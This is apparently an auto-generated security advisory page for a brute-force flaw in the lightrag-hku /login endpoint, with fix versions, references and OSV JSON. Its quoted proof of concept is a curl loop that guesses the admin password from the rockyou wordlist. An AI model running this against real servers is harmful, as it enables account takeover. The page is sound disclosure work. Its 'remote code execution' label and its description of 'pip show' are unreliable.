CVE-2026-85734: lightrag-hku Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-frch-4w6v-q5xx
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CVSS 9.1
CWE-307
Published
Advisory Summary

CVE-2026-85734 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting lightrag-hku libraries in the PyPI ecosystem. The issue involves no rate limiting on /login endpoint allows brute-force attacks. Remediation is available by upgrading affected packages to version 1.5.5.

CVE-2026-85734 at a Glance

CVE Identifier CVE-2026-85734
GHSA Identifier GHSA-frch-4w6v-q5xx
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected Product lightrag-hku
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-85734

To remediate this vulnerability, upgrade all affected lightrag-hku dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lightrag-hku fixed: 1.5.5 
pip install lightrag-hku>=1.5.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show lightrag-hku

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-85734, inspect your installed packages using pip:

pip show lightrag-hku

Analyze the terminal output to locate any version of lightrag-hku in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.5), your application is affected.

Note: The pip show lightrag-hku command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In lightrag-hku, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed. ### Details ```python # lightrag/api/lightrag_server.py:2161 @app.post("/login") async def login(form_data: OAuth2PasswordRequestForm = Depends()): if not auth_handler.verify_password(username, form_data.password): raise HTTPException(status_code=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter ``` A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results. ### PoC ```bash # Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt ``` ### Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

CVE-2026-85734 Affected lightrag-hku Versions

1 component(s)
Fixed Versions:
1.5.5
Product / Package Ecosystem Affected Versions Fixed Version
lightrag-hku
pypi/lightrag-hku
PyPI
< 1.5.5
1.5.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx
NVD — CVE-2026-85734 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-85734
lightrag-hku Source Repository REPOSITORY
https://github.com/HKUDS/LightRAG/pull/3424
Security Fix Commit FIX COMMIT
https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54
lightrag-hku Source Repository REPOSITORY
https://github.com/HKUDS/LightRAG
lightrag-hku Release RELEASE
https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5

Frequently Asked Questions

What is CVE-2026-85734?
CVE-2026-85734 is a security vulnerability in lightrag-hku involving No Rate Limiting on /login Endpoint Allows Brute-Force Attacks under CWE-307: Improper Restriction of Excessive Authentication Attempts.
Which lightrag-hku versions are affected?
Affected versions include releases prior to 1.5.5 across affected packages: lightrag-hku.
What version fixes CVE-2026-85734?
Upgrading to 1.5.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lightrag-hku affected?
Yes, lightrag-hku is affected in releases prior to 1.5.5. Upgrade your dependency to 1.5.5 or later.
What is the CVSS score of CVE-2026-85734?
CVE-2026-85734 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-85734?
CVE-2026-85734 is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts (The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.).
How can I check PyPI dependencies for CVE-2026-85734?
Run the dependency tree command: 'pip show lightrag-hku'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-frch-4w6v-q5xx",
  "modified" : "2026-09-22T20:40:22Z",
  "published" : "2026-09-22T20:40:22Z",
  "aliases" : [ "CVE-2026-85734" ],
  "summary" : "lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks",
  "details" : "### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://<TARGET>:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone < /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lightrag-hku"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-85734"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/pull/3424"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HKUDS/LightRAG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-307" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:40:22Z",
    "nvd_published_at" : "2026-09-22T17:17:27Z"
  }
}